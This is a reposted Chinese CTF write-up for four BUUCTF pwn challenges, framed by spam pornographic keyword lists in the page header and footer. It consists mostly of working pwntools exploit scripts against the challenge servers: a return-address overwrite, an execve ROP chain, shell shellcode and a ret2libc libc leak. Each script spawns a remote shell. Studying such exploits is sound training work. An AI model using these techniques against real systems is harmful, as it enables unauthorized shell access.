日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-13

發布時間:2023/12/10 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-13 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-13

    • [ZJCTF 2019]Login
    • inndy_rop
    • mrctf2020_shellcode
    • jarvisoj_level1

[ZJCTF 2019]Login

參考:ZJCTF 2019 Pwn

from pwn import * io=remote('node4.buuoj.cn',27513) #io = process("./login") shell = 0x400e88 io.recvuntil("username: ") io.sendline("admin") io.recvuntil("password: ") payload="2jctf_pa5sw0rd"+"\x00"*58+p64(shell) io.sendline(payload) io.interactive()

inndy_rop

靜態鏈接的32位elf,用ROPgadget直接找一條rop鏈

ROPgadget --binary inndy_rop --ropchain from pwn import * from struct import pack #io=process('./inndy_rop') io=remote('node4.buuoj.cn',25930) def ROPchain():p = 'a'*(0xc+4)p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80return p payload=ROPchain() io.sendline(payload) io.interactive()

mrctf2020_shellcode

在偏移0x00000000000011DD處有條call rax的gadget,這里的rax就是我們輸入內容的地址
于是這道題直接輸入shellcode,elf執行call rax即可getshell

from pwn import * context.arch='amd64' context.os='linux' #io=process('./mrctf2020_shellcode') io=remote('node4.buuoj.cn',29514) shellcode=asm(shellcraft.sh()) io.recvuntil('magic!\n') io.sendline(shellcode) io.interactive()

jarvisoj_level1

32位elf的棧溢出,ret2libc

from pwn import * #context.log_level = 'debug' #p = process('./jarvisoj_level1') p=remote('node4.buuoj.cn',25340) elf = ELF('./jarvisoj_level1') libc=ELF('./libc-2.23-x32.so') write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendline(payload1) write_addr = u32(p.recv(4)) print('write addr: '+hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() payload='A'*140+p32(system)+p32(0)+p32(binsh) p.sendline(payload) p.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-13的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 婷婷色中文字幕 | 国产永久毛片 | 超碰免费在线97 | 97精品人妻一区二区三区蜜桃 | 男女作爱免费网站 | 一本色道无码道dvd在线观看 | 免费黄色av片 | 精品三级电影 | 少妇激情视频 | 国产精品99久久久久久宅男 | 在线看v片 | 丰满少妇一区二区三区视频 | 97超碰福利 | www.男人天堂.com| 日本不卡一二三 | 朝桐光在线播放 | 免费一级黄| 亚洲色图在线播放 | 亚洲伊人婷婷 | 欧美黄色网 | 久久精品国产亚洲AV无码麻豆 | 国产69精品久久久久999小说 | 五月婷婷七月丁香 | 香蕉污视频 | 欧美午夜激情影院 | 国产视频观看 | 精品国产乱码一区二区 | 美女爆乳18禁www久久久久久 | 欧美精品h | www 在线观看视频 | 日韩中文字幕在线观看 | 久久久久亚洲av无码专区喷水 | 午夜影院免费观看 | 欧美手机在线观看 | 内射后入在线观看一区 | 久久久久久久久久久久久久久久久久久久 | 精品一区二区三区不卡 | 国产18p | 口舌奴vk| 成人做受视频试看60秒 | 野外吮她的花蒂高h在线观看 | 久久久久1 | 国产精品网友自拍 | www污污 | 最好看的日本字幕mv视频大全 | 精品动漫一区二区 | 日本午夜在线视频 | 超碰蜜桃 | 1级黄色大片 | 天天色综合久久 | 老牛影视av牛牛影视av | 欧美三级手机在线观看 | 成人午夜福利一区二区 | 国产九色sp调教91 | 草莓视频一区二区三区 | 夜夜导航 | 大学生av | 九九热超碰| aa一级黄色片 | 97色干| 中文一级片 | 日韩伦理中文字幕 | 老女人一区 | 国产91精品久久久久 | 亚洲成人一区 | 免费香蕉视频 | 一区二区三区蜜桃 | 色吧综合| 国产精品第13页 | 国产福利一区在线 | 欧美日韩高清 | 精品午夜福利视频 | 久久福利小视频 | 久久久亚洲国产精品 | 亚洲一级一区 | 三上悠亚一区二区在线观看 | 一级二级三级黄色片 | 日日夜夜操视频 | 久久久久久亚洲av毛片大全 | 国产黄色网址在线观看 | 乱视频在线观看 | 国产偷拍一区二区 | 99久久久无码国产精品免费 | 国产中文自拍 | 国产又粗又猛又爽免费视频 | 久久久久久久久91 | 超碰免费公开 | 全部毛片永久免费看 | 国产精彩视频一区二区 | 欧美理论在线 | 少妇精品无码一区二区 | 国产精品水嫩水嫩 | 艳情五月 | 日韩中文在线播放 | 日韩欧美国产视频 | 成人短视频在线观看 | 奇米成人影视 | 5个黑人躁我一个视频 | 国产中文字幕在线免费观看 |